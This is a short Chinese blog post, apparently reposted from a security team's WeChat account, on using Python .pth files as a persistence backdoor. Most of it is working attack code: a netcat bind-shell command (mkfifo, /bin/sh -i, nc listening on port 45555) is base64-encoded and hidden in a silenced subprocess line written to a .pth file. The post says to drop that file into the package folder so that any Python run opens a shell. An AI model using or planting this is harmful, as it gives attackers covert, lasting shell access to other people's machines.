从 Python 3.5 开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行。这使得此类文件中的恶意代码能够在设备上任何代码导入模块时运行。
https://mp.weixin.qq.com/s/paEcOaDw4qlPkxA64fJY0g
echo 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvvp 45555 > /tmp/f' | base64 -w0
上面的 45555 是受害者主机需要开启的服务端口,通过上面的命令我们可以获取到一段经过 base64 编码的 nc 反弹 shell 命令的内容。
echo 'import subprocess;subprocess.Popen("echo "cm0gLWYgL3RtcC9mOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgL2Jpbi9zaCAtaSAyPiYxIHwgbmMgLWx2dnAgNDU1NTUgPiAvdG1wL2YK"|base64 -d |bash", shell=True, start_new_session=True, stdout=open("/dev/null", "w"), stderr=open("/dev/null", "w"))' > 1.pth
"cm0gLWYgL3RtcC9mOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgL2Jpbi9zaCAtaSAyPiYxIHwgbmMgLWx2dnAgNDU1NTUgPiAvdG1wL2YK"是上面获取到的经过 base64 编码的内容,将它嵌入到命令中,通过上面的命令会在 shell 执行的目录下获取到一个 1.pth 文件。
将上面生成的1.pth文件移动到python的包管理文件夹下,然后只要随意执行python脚本,就能够触发相应的命令执行(这里实现的是开放端口用于执行shell)
你也可以通过执行下面的 python 脚本,从而生成一个简单的evil.pth文件,将这个文件移动到python的包管理文件夹下随意执行python脚本即可。(身为懒人的我简单的写了一下利用脚本[2],比较粗糙)
[1] https://mp.weixin.qq.com/s/paEcOaDw4qlPkxA64fJY0g
[2] https://github.com/thedarknessdied/.pth_study
原文始发于微信公众号(蟹堡安全团队):python .pth 权限维持后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论